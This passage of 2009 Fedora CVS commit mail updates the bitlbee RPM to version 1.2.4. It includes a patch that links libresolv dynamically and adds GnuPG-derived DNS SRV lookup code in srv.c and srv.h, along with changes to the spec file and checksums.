 echo 'SSL_CLIENT=ssl_'$ssl'.o' >> Makefile.settings
 
 for i in $systemlibdirs; do
-	if [ -f $i/libresolv.a ]; then
+	if [ -f $i/libresolv.so ]; then
 		echo '#define HAVE_RESOLV_A' >> config.h
-		echo 'EFLAGS+='$i'/libresolv.a' >> Makefile.settings
+		echo 'EFLAGS+=-lresolv' >> Makefile.settings
 		break
 	fi
 done
--- bitlbee-1.2.4/lib/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/Makefile.libresolv	2009-10-17 20:17:38.000000000 +0200
@@ -9,7 +9,7 @@
 -include ../Makefile.settings
 
 # [SH] Program variables
-objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o $(SSL_CLIENT) url.o xmltree.o
+objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o srv.o $(SSL_CLIENT) url.o xmltree.o
 
 CFLAGS += -Wall
 LFLAGS += -r
--- bitlbee-1.2.4/lib/misc.c			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.c.libresolv		2009-10-17 20:18:34.000000000 +0200
@@ -43,6 +43,7 @@
 #ifdef HAVE_RESOLV_A
 #include <arpa/nameser.h>
 #include <resolv.h>
+#include <netinet/in.h>
 #endif
 
 #include "ssl_client.h"
@@ -467,58 +468,6 @@
 	return 0;
 }
 
-struct ns_srv_reply *srv_lookup( char *service, char *protocol, char *domain )
-{	
-	struct ns_srv_reply *reply = NULL;
-#ifdef HAVE_RESOLV_A
-	char name[1024];
-	unsigned char querybuf[1024];
-	const unsigned char *buf;
-	ns_msg nsh;
-	ns_rr rr;
-	int i, len, size;
-	
-	g_snprintf( name, sizeof( name ), "_%s._%s.%s", service, protocol, domain );
-	
-	if( ( size = res_query( name, ns_c_in, ns_t_srv, querybuf, sizeof( querybuf ) ) ) <= 0 )
-		return NULL;
-	
-	if( ns_initparse( querybuf, size, &nsh ) != 0 )
-		return NULL;
-	
-	if( ns_parserr( &nsh, ns_s_an, 0, &rr ) != 0 )
-		return NULL;
-	
-	size = ns_rr_rdlen( rr );
-	buf = ns_rr_rdata( rr );
-	
-	len = 0;
-	for( i = 6; i < size && buf[i]; i += buf[i] + 1 )
-		len += buf[i] + 1;
-	
-	if( i > size )
-		return NULL;
-	
-	reply = g_malloc( sizeof( struct ns_srv_reply ) + len );
-	memcpy( reply->name, buf + 7, len );
-	
-	for( i = buf[6]; i < len && buf[7+i]; i += buf[7+i] + 1 )
-		reply->name[i] = '.';
-	
-	if( i > len )
-	{
-		g_free( reply );
-		return NULL;
-	}
-	
-	reply->prio = ( buf[0] << 8 ) | buf[1];
-	reply->weight = ( buf[2] << 8 ) | buf[3];
-	reply->port = ( buf[4] << 8 ) | buf[5];
-#endif
-	
-	return reply;
-}
-
 /* Word wrapping. Yes, I know this isn't UTF-8 clean. I'm willing to take the risk. */
 char *word_wrap( char *msg, int line_len )
 {
--- bitlbee-1.2.4/lib/misc.h			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.h.libresolv		2009-10-17 20:19:03.000000000 +0200
@@ -28,14 +28,7 @@
 
 #include <gmodule.h>
 #include <time.h>
-
-struct ns_srv_reply
-{
-	int prio;
-	int weight;
-	int port;
-	char name[];
-};
+#include "srv.h"
 
 G_MODULE_EXPORT void strip_linefeed( gchar *text );
 G_MODULE_EXPORT char *add_cr( char *text );
--- bitlbee-1.2.4/lib/srv.c			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.c.libresolv		2008-06-28 17:28:45.000000000 +0200
@@ -0,0 +1,239 @@
+/* srv.c - DNS SRV code
+ * Copyright (C) 2003 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#undef TEST
+
+#ifdef TEST
+#define HAVE_RESOLV_A
+#endif
+
+#include <config.h>
+#include <sys/types.h>
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+#include "srv.h"
+#include <glib.h>
+#include <glib/gprintf.h>
+#include <glib/gutils.h>
+
+/* Not every installation has gotten around to supporting SRVs yet...*/
+#ifndef T_SRV
+#define T_SRV 33
+#endif
+
+static int priosort(const void *a, const void *b) {
+	const struct ns_srv_reply *sa=a, *sb=b;
+	if (sa->prio>sb->prio)
+		return 1;
+	else if (sa->prio<sb->prio)
+		return -1;
+	else
+		return 0;
+}
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain) {
+	struct ns_srv_reply *reply = NULL;
+	struct ns_srv_reply *list = NULL;
+	char name[1024];
+#ifdef HAVE_RESOLV_A
+	unsigned char answer[PACKETSZ];
+	int r, srvcount=0;
+	unsigned char *pt, *emsg;
+	int count, dlen;
+
+	g_snprintf(name, sizeof(name ), "_%s._%s.%s", service, protocol, domain);
+
+	_res.options |= RES_DEBUG;
+	
+	if ( res_init() != 0 ) 
+		return NULL;
+	
+	r=res_query(name, C_IN, T_SRV, answer, PACKETSZ);
+	
+	if (r<sizeof(HEADER) || r>PACKETSZ)
+		return NULL;
+
+	if ((((HEADER *)answer)->rcode)==NOERROR && (count=ntohs(((HEADER *)answer)->ancount))) {
+		int i, rc;
+
+		emsg=&answer[r]; /* end of message ??? */
+		pt=&answer[sizeof(HEADER)];
+
+		/* Skip over the query */
+		rc=dn_skipname(pt, emsg);
+		if (rc==-1)
+			goto fail;
+
+		pt+=rc+QFIXEDSZ;
+
+		while (count-->0 && pt<emsg) {
+			struct ns_srv_reply *srv=NULL;
+			int type, class;
+
+			list=g_realloc(list, (srvcount+1)*sizeof(struct ns_srv_reply));
+			memset(&list[srvcount], 0, sizeof(struct ns_srv_reply));
+			srv=&list[srvcount];
+			srvcount++;
+
+			rc=dn_skipname(pt, emsg); /* the name we just queried for */
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+
+			/* Truncated message? */
+			if ((emsg-pt)<16)
+				goto fail;
+
+			type=*pt++ << 8;
+			type|=*pt++;
+			/* We asked for SRV and got something else !? */
+			if (type!=T_SRV)
+				goto fail;
+
+			class=*pt++ << 8;
+			class|=*pt++;
+			/* We asked for IN and got something else !? */
+			if (class!=C_IN)
+				goto fail;
+
+			pt+=4; /* ttl */
+			dlen=*pt++ << 8;
+			dlen|=*pt++;
+			srv->prio=*pt++ << 8;
+			srv->prio|=*pt++;
+			srv->weight=*pt++ << 8;
+			srv->weight|=*pt++;
+			srv->port=*pt++ << 8;
+			srv->port|=*pt++;
+
+			/* Get the name.  2782 doesn't allow name compression, but
+			 dn_expand still works to pull the name out of the
+			 packet. */
+			rc=dn_expand(answer, emsg, pt, srv->name, MAXDNAME);
+			if (rc==1 && srv->name[0]==0) /* "." */
+				goto noanswer;
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+			/* Corrupt packet? */
+			if (dlen!=rc+6)
+				goto fail;
+		}
+
+		/* Now we have an array of all the srv records. */
+
+		/* Order by priority */
+		qsort(list, srvcount, sizeof(struct ns_srv_reply), priosort);
+
+		/* For each priority, move the zero-weighted items first. */
+		for (i=0; i<srvcount; i++) {
+			int j;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (list[j].weight==0) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+
+					break;
+				}
+			}
+		}
+
+		/* Run the RFC-2782 weighting algorithm.  We don't need very
+		 high quality randomness for this, so regular libc srand/rand
+		 is sufficient. */
+		srand(time(NULL)*getpid());
+
+		for (i=0; i<srvcount; i++) {
+			int j;
+			float prio_count=0, chose;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				prio_count+=list[j].weight;
+				list[j].run_count=prio_count;
+			}
+
+			chose=prio_count*rand()/RAND_MAX;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (chose<=list[j].run_count) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+					break;
+				}
+			}
+		}
+	}
+
+	if (list == NULL)
+		return NULL;
+
+	/* TODO: bitlbee should expect a situation when more than one server
+	 * is available for the given SRV record.
+	 */
+	reply = g_malloc(sizeof(struct ns_srv_reply));
+	*reply = *list;
+	g_free(list);
+	/* list=NULL; */
+#endif /* HAVE_RESOLV_A */
+	return reply;
+
+	noanswer: g_free(list);
+	list=NULL;
+	return NULL;
+
+	fail: g_free(list);
+	list=NULL;
+	return NULL;
+}
+
+#ifdef TEST
+int main(int argc, char *argv[]) {
+	struct ns_srv_reply *srv;
+	/*int rc,i;*/
+
+	srv=srv_lookup("xmpp-client", "tcp", "jabber.org");
+	if (srv != NULL) {
+		printf("priority=%hu\n", srv->prio);
+		printf("weight=%hu\n", srv->weight);
+		printf("port=%hu\n", srv->port);
+		printf("target=%s\n", srv->name);
+		printf("\n");
+		g_free(srv);
+	}
+
+	return 0;
+}
+#endif /* TEST */
--- bitlbee-1.2.4/lib/srv.h			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.h.libresolv		2008-06-28 17:29:39.000000000 +0200
@@ -0,0 +1,49 @@
+/* srv.h
+ * Copyright (C) 2003, 2004 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef GNUPG_COMMON_SRV_H
+#define GNUPG_COMMON_SRV_H
+
+#ifdef HAVE_RESOLV_A
+# ifdef _WIN32
+#  include <windows.h>
+# else
+#  include <netinet/in.h>
+#  include <arpa/nameser.h>
+#  include <resolv.h>
+# endif /* !_WIN32 */
+#endif /* USE_DNS_SRV */
+
+
+#ifndef MAXDNAME
+#define MAXDNAME 1025
+#endif
+
+struct ns_srv_reply
+{
+	int prio; /* priority */
+	int weight; /* weight */
+	int port; /* port */
+	int run_count; /* from struct srventry at gnupg's common/srv.h */
+	char name[MAXDNAME]; /* target */
+};
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain);
+
+#endif /*GNUPG_COMMON_SRV_H*/
--- bitlbee-1.2.4/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/Makefile.libresolv		2009-10-17 20:23:53.000000000 +0200
@@ -10,7 +10,7 @@
 
 # Program variables
 objects = account.o bitlbee.o chat.o crypting.o help.o ipc.o irc.o irc_commands.o nick.o query.o root_commands.o set.o storage.o $(STORAGE_OBJS) user.o
-headers = account.h bitlbee.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/ssl_client.h lib/url.h protocols/nogaim.h
+headers = account.h bitlbee.h chat.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/srv.h lib/ssl_client.h lib/url.h protocols/nogaim.h
 subdirs = lib protocols
 
 ifeq ($(TARGET),i586-mingw32msvc)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	7 Sep 2008 20:02:46 -0000	1.7
+++ .cvsignore	17 Oct 2009 18:56:13 -0000	1.8
@@ -1 +1 @@
-bitlbee-1.2.3.tar.gz
+bitlbee-1.2.4.tar.gz


Index: bitlbee.spec
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-11/bitlbee.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- bitlbee.spec	16 Aug 2009 22:43:44 -0000	1.11
+++ bitlbee.spec	17 Oct 2009 18:56:13 -0000	1.12
@@ -1,14 +1,14 @@
 Summary:           IRC to other chat networks gateway
 Name:              bitlbee
-Version:           1.2.3
-Release:           4%{?dist}
+Version:           1.2.4
+Release:           1%{?dist}
 License:           GPLv2+ and MIT
 Group:             System Environment/Daemons
 URL:               http://www.bitlbee.org/
 Source0:           http://get.bitlbee.org/src/%{name}-%{version}.tar.gz
 Source1:           bitlbee.xinetd
 Source2:           bitlbee-wrapper.h
-Patch0:            bitlbee-1.2.3-libresolv.patch
+Patch0:            bitlbee-1.2.4-libresolv.patch
 Requires:          xinetd
 Requires(pre):     shadow-utils
 Requires(preun):   /sbin/service
@@ -125,6 +125,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Sat Oct 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.4-1
+- Upgrade to 1.2.4
+
 * Mon Aug 17 2009 Robert Scheck <robert at fedoraproject.org> 1.2.3-4
 - Updated libresolv patch to not segfault when connecting to the
   Jabber/XMPP server if there's no SRV record (#506719, #501786)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/bitlbee/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	7 Sep 2008 20:02:46 -0000	1.7
+++ sources	17 Oct 2009 18:56:13 -0000	1.8
@@ -1 +1 @@
-2b1674d98804970809de3da3edf0bed2  bitlbee-1.2.3.tar.gz
+26b9bfc5446bdf0e932e8074d117be67  bitlbee-1.2.4.tar.gz


--- bitlbee-1.2.3-libresolv.patch DELETED ---



From robert at fedoraproject.org  Sat Oct 17 18:56:13 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Sat, 17 Oct 2009 18:56:13 +0000 (UTC)
Subject: rpms/bitlbee/EL-4 bitlbee-1.2.4-libresolv.patch, NONE,
	1.1 .cvsignore, 1.7, 1.8 bitlbee.spec, 1.8, 1.9 sources, 1.7,
	1.8 bitlbee-1.2.3-libresolv.patch, 1.1, NONE
Message-ID: <20091017185613.8143611C0260@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/extras/rpms/bitlbee/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32327/EL-4

Modified Files:
	.cvsignore bitlbee.spec sources 
Added Files:
	bitlbee-1.2.4-libresolv.patch 
Removed Files:
	bitlbee-1.2.3-libresolv.patch 
Log Message:
Upgrade to 1.2.4


bitlbee-1.2.4-libresolv.patch:
 Makefile     |    2 
 configure    |    6 -
 lib/Makefile |    2 
 lib/misc.c   |   53 -------------
 lib/misc.h   |    9 --
 lib/srv.c    |  239 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 lib/srv.h    |   49 ++++++++++++
 7 files changed, 295 insertions(+), 65 deletions(-)

--- NEW FILE bitlbee-1.2.4-libresolv.patch ---
Patch by Robert Scheck <robert at fedoraproject.org>, based on a patch by Mat?j Cepl
<mcepl at redhat.com> for bitlbee >= 1.2, to avoid static linking to a private glibc
function, normally visible as libc.so.6(GLIBC_PRIVATE) in the binary RPM package.

Unfortunately, this patch gets not accepted by upstream, as they're fine with the
static linking. The former try with libbind has the problem, that it breaks, once
the file transfer patch is added, because of libbind apparently all symbols which
are synonyms between glibc and libbind came from libbind, which made some nasty
surprises when e.g. getaddrinfo from libbind returned different error codes than
getaddrinfo from glibc.

A few more information and details regarding are mentioned in Red Hat Bugzilla ID
#439047, see: https://bugzilla.redhat.com/show_bug.cgi?id=439047

--- bitlbee-1.2.4/configure			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/configure.libresolv		2009-10-17 20:17:11.000000000 +0200
@@ -19,7 +19,7 @@
 pidfile='/var/run/bitlbee.pid'
 ipcsocket='/var/run/bitlbee.sock'
 pcdir='$prefix/lib/pkgconfig'
-systemlibdirs="/lib /usr/lib /usr/local/lib"
+systemlibdirs="/lib64 /usr/lib64 /usr/local/lib64 /lib /usr/lib /usr/local/lib"
 
 msn=1
 jabber=1
@@ -349,9 +349,9 @@
 echo 'SSL_CLIENT=ssl_'$ssl'.o' >> Makefile.settings
 
 for i in $systemlibdirs; do
-	if [ -f $i/libresolv.a ]; then
+	if [ -f $i/libresolv.so ]; then
 		echo '#define HAVE_RESOLV_A' >> config.h
-		echo 'EFLAGS+='$i'/libresolv.a' >> Makefile.settings
+		echo 'EFLAGS+=-lresolv' >> Makefile.settings
 		break
 	fi
 done
--- bitlbee-1.2.4/lib/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/Makefile.libresolv	2009-10-17 20:17:38.000000000 +0200
@@ -9,7 +9,7 @@
 -include ../Makefile.settings
 
 # [SH] Program variables
-objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o $(SSL_CLIENT) url.o xmltree.o
+objects = arc.o base64.o $(EVENT_HANDLER) http_client.o ini.o md5.o misc.o proxy.o sha1.o srv.o $(SSL_CLIENT) url.o xmltree.o
 
 CFLAGS += -Wall
 LFLAGS += -r
--- bitlbee-1.2.4/lib/misc.c			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.c.libresolv		2009-10-17 20:18:34.000000000 +0200
@@ -43,6 +43,7 @@
 #ifdef HAVE_RESOLV_A
 #include <arpa/nameser.h>
 #include <resolv.h>
+#include <netinet/in.h>
 #endif
 
 #include "ssl_client.h"
@@ -467,58 +468,6 @@
 	return 0;
 }
 
-struct ns_srv_reply *srv_lookup( char *service, char *protocol, char *domain )
-{	
-	struct ns_srv_reply *reply = NULL;
-#ifdef HAVE_RESOLV_A
-	char name[1024];
-	unsigned char querybuf[1024];
-	const unsigned char *buf;
-	ns_msg nsh;
-	ns_rr rr;
-	int i, len, size;
-	
-	g_snprintf( name, sizeof( name ), "_%s._%s.%s", service, protocol, domain );
-	
-	if( ( size = res_query( name, ns_c_in, ns_t_srv, querybuf, sizeof( querybuf ) ) ) <= 0 )
-		return NULL;
-	
-	if( ns_initparse( querybuf, size, &nsh ) != 0 )
-		return NULL;
-	
-	if( ns_parserr( &nsh, ns_s_an, 0, &rr ) != 0 )
-		return NULL;
-	
-	size = ns_rr_rdlen( rr );
-	buf = ns_rr_rdata( rr );
-	
-	len = 0;
-	for( i = 6; i < size && buf[i]; i += buf[i] + 1 )
-		len += buf[i] + 1;
-	
-	if( i > size )
-		return NULL;
-	
-	reply = g_malloc( sizeof( struct ns_srv_reply ) + len );
-	memcpy( reply->name, buf + 7, len );
-	
-	for( i = buf[6]; i < len && buf[7+i]; i += buf[7+i] + 1 )
-		reply->name[i] = '.';
-	
-	if( i > len )
-	{
-		g_free( reply );
-		return NULL;
-	}
-	
-	reply->prio = ( buf[0] << 8 ) | buf[1];
-	reply->weight = ( buf[2] << 8 ) | buf[3];
-	reply->port = ( buf[4] << 8 ) | buf[5];
-#endif
-	
-	return reply;
-}
-
 /* Word wrapping. Yes, I know this isn't UTF-8 clean. I'm willing to take the risk. */
 char *word_wrap( char *msg, int line_len )
 {
--- bitlbee-1.2.4/lib/misc.h			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/lib/misc.h.libresolv		2009-10-17 20:19:03.000000000 +0200
@@ -28,14 +28,7 @@
 
 #include <gmodule.h>
 #include <time.h>
-
-struct ns_srv_reply
-{
-	int prio;
-	int weight;
-	int port;
-	char name[];
-};
+#include "srv.h"
 
 G_MODULE_EXPORT void strip_linefeed( gchar *text );
 G_MODULE_EXPORT char *add_cr( char *text );
--- bitlbee-1.2.4/lib/srv.c			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.c.libresolv		2008-06-28 17:28:45.000000000 +0200
@@ -0,0 +1,239 @@
+/* srv.c - DNS SRV code
+ * Copyright (C) 2003 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#undef TEST
+
+#ifdef TEST
+#define HAVE_RESOLV_A
+#endif
+
+#include <config.h>
+#include <sys/types.h>
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+
+#include "srv.h"
+#include <glib.h>
+#include <glib/gprintf.h>
+#include <glib/gutils.h>
+
+/* Not every installation has gotten around to supporting SRVs yet...*/
+#ifndef T_SRV
+#define T_SRV 33
+#endif
+
+static int priosort(const void *a, const void *b) {
+	const struct ns_srv_reply *sa=a, *sb=b;
+	if (sa->prio>sb->prio)
+		return 1;
+	else if (sa->prio<sb->prio)
+		return -1;
+	else
+		return 0;
+}
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain) {
+	struct ns_srv_reply *reply = NULL;
+	struct ns_srv_reply *list = NULL;
+	char name[1024];
+#ifdef HAVE_RESOLV_A
+	unsigned char answer[PACKETSZ];
+	int r, srvcount=0;
+	unsigned char *pt, *emsg;
+	int count, dlen;
+
+	g_snprintf(name, sizeof(name ), "_%s._%s.%s", service, protocol, domain);
+
+	_res.options |= RES_DEBUG;
+	
+	if ( res_init() != 0 ) 
+		return NULL;
+	
+	r=res_query(name, C_IN, T_SRV, answer, PACKETSZ);
+	
+	if (r<sizeof(HEADER) || r>PACKETSZ)
+		return NULL;
+
+	if ((((HEADER *)answer)->rcode)==NOERROR && (count=ntohs(((HEADER *)answer)->ancount))) {
+		int i, rc;
+
+		emsg=&answer[r]; /* end of message ??? */
+		pt=&answer[sizeof(HEADER)];
+
+		/* Skip over the query */
+		rc=dn_skipname(pt, emsg);
+		if (rc==-1)
+			goto fail;
+
+		pt+=rc+QFIXEDSZ;
+
+		while (count-->0 && pt<emsg) {
+			struct ns_srv_reply *srv=NULL;
+			int type, class;
+
+			list=g_realloc(list, (srvcount+1)*sizeof(struct ns_srv_reply));
+			memset(&list[srvcount], 0, sizeof(struct ns_srv_reply));
+			srv=&list[srvcount];
+			srvcount++;
+
+			rc=dn_skipname(pt, emsg); /* the name we just queried for */
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+
+			/* Truncated message? */
+			if ((emsg-pt)<16)
+				goto fail;
+
+			type=*pt++ << 8;
+			type|=*pt++;
+			/* We asked for SRV and got something else !? */
+			if (type!=T_SRV)
+				goto fail;
+
+			class=*pt++ << 8;
+			class|=*pt++;
+			/* We asked for IN and got something else !? */
+			if (class!=C_IN)
+				goto fail;
+
+			pt+=4; /* ttl */
+			dlen=*pt++ << 8;
+			dlen|=*pt++;
+			srv->prio=*pt++ << 8;
+			srv->prio|=*pt++;
+			srv->weight=*pt++ << 8;
+			srv->weight|=*pt++;
+			srv->port=*pt++ << 8;
+			srv->port|=*pt++;
+
+			/* Get the name.  2782 doesn't allow name compression, but
+			 dn_expand still works to pull the name out of the
+			 packet. */
+			rc=dn_expand(answer, emsg, pt, srv->name, MAXDNAME);
+			if (rc==1 && srv->name[0]==0) /* "." */
+				goto noanswer;
+			if (rc==-1)
+				goto fail;
+			pt+=rc;
+			/* Corrupt packet? */
+			if (dlen!=rc+6)
+				goto fail;
+		}
+
+		/* Now we have an array of all the srv records. */
+
+		/* Order by priority */
+		qsort(list, srvcount, sizeof(struct ns_srv_reply), priosort);
+
+		/* For each priority, move the zero-weighted items first. */
+		for (i=0; i<srvcount; i++) {
+			int j;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (list[j].weight==0) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+
+					break;
+				}
+			}
+		}
+
+		/* Run the RFC-2782 weighting algorithm.  We don't need very
+		 high quality randomness for this, so regular libc srand/rand
+		 is sufficient. */
+		srand(time(NULL)*getpid());
+
+		for (i=0; i<srvcount; i++) {
+			int j;
+			float prio_count=0, chose;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				prio_count+=list[j].weight;
+				list[j].run_count=prio_count;
+			}
+
+			chose=prio_count*rand()/RAND_MAX;
+
+			for (j=i; j<srvcount && list[i].prio==list[j].prio; j++) {
+				if (chose<=list[j].run_count) {
+					/* Swap j with i */
+					if (j!=i) {
+						struct ns_srv_reply temp;
+
+						memcpy(&temp, &list[j], sizeof(struct ns_srv_reply));
+						memcpy(&list[j], &list[i], sizeof(struct ns_srv_reply));
+						memcpy(&list[i], &temp, sizeof(struct ns_srv_reply));
+					}
+					break;
+				}
+			}
+		}
+	}
+
+	if (list == NULL)
+		return NULL;
+
+	/* TODO: bitlbee should expect a situation when more than one server
+	 * is available for the given SRV record.
+	 */
+	reply = g_malloc(sizeof(struct ns_srv_reply));
+	*reply = *list;
+	g_free(list);
+	/* list=NULL; */
+#endif /* HAVE_RESOLV_A */
+	return reply;
+
+	noanswer: g_free(list);
+	list=NULL;
+	return NULL;
+
+	fail: g_free(list);
+	list=NULL;
+	return NULL;
+}
+
+#ifdef TEST
+int main(int argc, char *argv[]) {
+	struct ns_srv_reply *srv;
+	/*int rc,i;*/
+
+	srv=srv_lookup("xmpp-client", "tcp", "jabber.org");
+	if (srv != NULL) {
+		printf("priority=%hu\n", srv->prio);
+		printf("weight=%hu\n", srv->weight);
+		printf("port=%hu\n", srv->port);
+		printf("target=%s\n", srv->name);
+		printf("\n");
+		g_free(srv);
+	}
+
+	return 0;
+}
+#endif /* TEST */
--- bitlbee-1.2.4/lib/srv.h			1970-01-01 01:00:00.000000000 +0100
+++ bitlbee-1.2.4/lib/srv.h.libresolv		2008-06-28 17:29:39.000000000 +0200
@@ -0,0 +1,49 @@
+/* srv.h
+ * Copyright (C) 2003, 2004 Free Software Foundation, Inc.
+ *
+ * This file is part of GNUPG.
+ *
+ * GNUPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GNUPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef GNUPG_COMMON_SRV_H
+#define GNUPG_COMMON_SRV_H
+
+#ifdef HAVE_RESOLV_A
+# ifdef _WIN32
+#  include <windows.h>
+# else
+#  include <netinet/in.h>
+#  include <arpa/nameser.h>
+#  include <resolv.h>
+# endif /* !_WIN32 */
+#endif /* USE_DNS_SRV */
+
+
+#ifndef MAXDNAME
+#define MAXDNAME 1025
+#endif
+
+struct ns_srv_reply
+{
+	int prio; /* priority */
+	int weight; /* weight */
+	int port; /* port */
+	int run_count; /* from struct srventry at gnupg's common/srv.h */
+	char name[MAXDNAME]; /* target */
+};
+
+struct ns_srv_reply *srv_lookup(char *service, char *protocol, char *domain);
+
+#endif /*GNUPG_COMMON_SRV_H*/
--- bitlbee-1.2.4/Makefile			2009-10-17 17:26:46.000000000 +0200
+++ bitlbee-1.2.4/Makefile.libresolv		2009-10-17 20:23:53.000000000 +0200
@@ -10,7 +10,7 @@
 
 # Program variables
 objects = account.o bitlbee.o chat.o crypting.o help.o ipc.o irc.o irc_commands.o nick.o query.o root_commands.o set.o storage.o $(STORAGE_OBJS) user.o
-headers = account.h bitlbee.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/ssl_client.h lib/url.h protocols/nogaim.h
+headers = account.h bitlbee.h chat.h commands.h conf.h config.h crypting.h help.h ipc.h irc.h log.h nick.h query.h set.h sock.h storage.h user.h lib/events.h lib/http_client.h lib/ini.h lib/md5.h lib/misc.h lib/proxy.h lib/sha1.h lib/srv.h lib/ssl_client.h lib/url.h protocols/nogaim.h
 subdirs = lib protocols
 
 ifeq ($(TARGET),i586-mingw32msvc)


